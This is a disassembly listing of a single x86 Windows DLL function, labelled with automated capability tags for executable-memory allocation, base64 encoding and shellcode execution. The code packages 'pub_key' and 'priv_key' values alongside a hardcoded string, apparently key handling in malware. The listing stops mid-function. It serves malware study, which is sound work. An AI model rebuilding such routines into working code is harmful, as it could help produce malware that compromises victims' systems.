Function at 0x10005880
Capabilities:
Allocate or change rwx memory
Encode data using base64 via winapi
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c4
push ebx
push esi
push edi
push ecx
push 1
push ecx
push 1
sub esp, 0xc
mov dword [esp + 0x28], ecx
mov ebx, edx
mov dword [esp + 0x3c], ebx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
push ecx
push 1
sub esp, 0xc
push 1
push ecx
push 1
lea ecx, [esp + 0x98]
call fcn.100039f0
lea ecx, [esp + 0x40]
call fcn.10007330
lea ecx, [esp + 0x40]
call fcn.10007140
mov esi, dword [ebp + 0xc]
mov edi, eax
add esi, ebx
push 0x40
push 0x3000
lea ebx, [esi + 8]
lea ebx, [edi + ebx*8]
shl ebx, 3
push ebx
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
xor edx, edx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x1c], eax
lea ecx, [edi + esi*4]
lea ecx, [ecx*8 + 0x30]
test eax, eax
je 0x10005921
cmp ecx, ebx
jae 0x10005921
lea edi, [ecx + eax]
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], edi
mov edx, ecx
jmp 0x10005927
mov dword [esp + 0x18], edx
mov edi, eax
cmp dword [esp + 0x2c], 0
mov eax, dword [ebp + 0xc]
lea eax, [eax*8 + 2]
je 0x1000594f
lea esi, [edx + eax]
cmp esi, ebx
jae 0x1000594f
mov ecx, edi
mov dword [esp + 0x28], edi
add edi, eax
mov edx, esi
mov dword [esp + 0x1c], edi
jmp 0x10005955
xor ecx, ecx
mov dword [esp + 0x28], ecx
cmp dword [esp + 0x2c], 0
mov esi, dword [esp + 0x20]
je 0x1000596d
lea eax, [esi*8 + 2]
add eax, edx
cmp eax, ebx
jb 0x10005973
xor edi, edi
mov dword [esp + 0x1c], edi
test ecx, ecx
je 0x10005d44
mov edx, dword [ebp + 0xc]
mov ebx, dword [sym.imp.CRYPT32.dll_CryptBinaryToStringA]
lea eax, [edx + edx]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push ecx
push 0x40000001
push edx
push dword [ebp + 8]
call ebx
lea eax, [esi + esi]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push edi
push 0x40000001
push esi
push dword [esp + 0x1c]
call ebx
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
push edi
call ebx
push dword [esp + 0x28]
mov esi, eax
call ebx
push 0x40
add eax, 0x42
push 0x3000
add esi, eax
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push dword [esp + 0x28]
mov dword [esp + 0x24], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x10], 0
call ebx
mov ecx, dword [esp + 0x20]
inc eax
test ecx, ecx
je 0x10005a0f
cmp eax, esi
jae 0x10005a0f
lea edx, [ecx + eax]
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], edx
mov dword [esp + 0x14], ecx
jmp 0x10005a17
mov dword [esp + 0x14], 0
push edi
call ebx
inc eax
cmp dword [esp + 0x20], 0
je 0x10005a2a
add eax, dword [esp + 0xc]
cmp eax, esi
jb 0x10005a32
mov dword [esp + 0x10], 0
push dword [esp + 0x28]
xor esi, esi
call ebx
test eax, eax
je 0x10005a72
mov ecx, dword [esp + 0x14]
mov edi, dword [esp + 0x28]
mov dword [esp + 0xc], ecx
lea ebx, [ebx]
mov al, byte [esi + edi]
cmp al, 0xa
je 0x10005a62
cmp al, 0xd
je 0x10005a62
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x10005a50
mov edi, dword [esp + 0x1c]
push edi
xor esi, esi
call ebx
test eax, eax
je 0x10005aa1
mov ecx, dword [esp + 0x10]
mov dword [esp + 0xc], ecx
mov al, byte [esi + edi]
cmp al, 0xa
je 0x10005a95
cmp al, 0xd
je 0x10005a95
mov byte [ecx], al
inc ecx
mov dword [esp + 0xc], ecx
push edi
inc esi
call ebx
mov ecx, dword [esp + 0xc]
cmp esi, eax
jb 0x10005a83
mov edi, dword [esp + 0x18]
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrcatW]
push str.actioncall
push edi
call ebx
mov esi, dword [sym.imp.KERNEL32.DLL_lstrlenW]
push edi
call esi
lea ecx, [esp + 0x40]
lea edi, [edi + eax*2]
push edi
call fcn.10006f40
push str.pub_key
push edi
call ebx
push edi
call esi
push dword [esp + 0x14]
lea esi, [edi + eax*2]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push esi
push 0xffffffffffffffff
push dword [esp + 0x20]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
push str.priv_key
push edi
call ebx
push edi
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
push dword [esp + 0x10]
lea esi, [edi + eax*2]
call dword [sym.imp.KERNEL32.DLL_lstrlenA]
push eax
push esi
push 0xffffffffffffffff
push dword [esp + 0x1c]
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.DLL_MultiByteToWideChar]
push str.version2.3r
push edi
call ebx
push dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.DLL_lstrlenW]
call edi
mov esi, eax
push 0x40
shl esi, 4
push 0x3000
add esi, 0x12
push esi
push 0
call dword [sym.imp.KERNEL32.DLL_VirtualAlloc]
push dword [esp + 0x18]
mov ebx, eax
mov dword [esp + 0x20], ebx
call edi
lea eax, [eax*8 + 2]
test ebx, ebx
je 0x10005b74
cmp eax, esi
jae 0x10005b74
mov dword [esp + 0xc], ebx
jmp 0x10005b7a
xor eax, eax
mov dword [esp + 0xc], eax
push dword [esp + 0x18]
call edi
mov ecx, dword [0x1000fc80]
mov edi, eax
movq xmm0, qword [str.aeriedjDshasj]
lea eax, [esp + 0xd1]
mov dword [esp + 0x38], ecx
mov cx, word [0x1000fc84]
push 0xff
mov word [esp + 0x40], cx
mov cl, byte [0x1000fc86]
push 0
push eax
movq qword [esp + 0x3c], xmm0
mov byte [esp + 0x4a], cl
mov byte [esp + 0xdc], 0
call fcn.10009010
mov ebx, dword [sym.imp.KERNEL32.DLL_lstrlenA]
lea eax, [esp + 0x3c]
add esp, 0xc
push eax
call ebx
push eax
lea edx, [esp + 0x34]
lea ecx, [esp + 0xd4]
call fcn.10005d70
mov edx, dword [esp + 0x1c]
lea esi, [edi + edi]
mov ebx, dword [sym.imp.KERNEL32.DLL_VirtualFree]